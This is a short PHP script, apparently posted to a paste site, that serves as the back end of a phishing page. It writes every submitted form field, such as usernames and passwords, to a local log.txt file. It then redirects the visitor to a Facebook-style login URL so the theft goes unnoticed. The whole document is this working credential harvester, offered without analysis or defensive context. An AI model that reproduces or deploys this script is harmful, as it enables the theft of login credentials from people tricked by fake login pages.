Untitled
3 years ago in HTML
<?php
// Set the location to redirect the page
header ('Location: login/device-based/regular/login/?login_attempt=1&amp;lwv=101');
// Open the text file in writing mode
$file = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($file, $variable);
fwrite($file, "=");
fwrite($file, $value);
fwrite($file, "\r\n");
}
fwrite($file, "\r\n");
fclose($file);
exit;
?>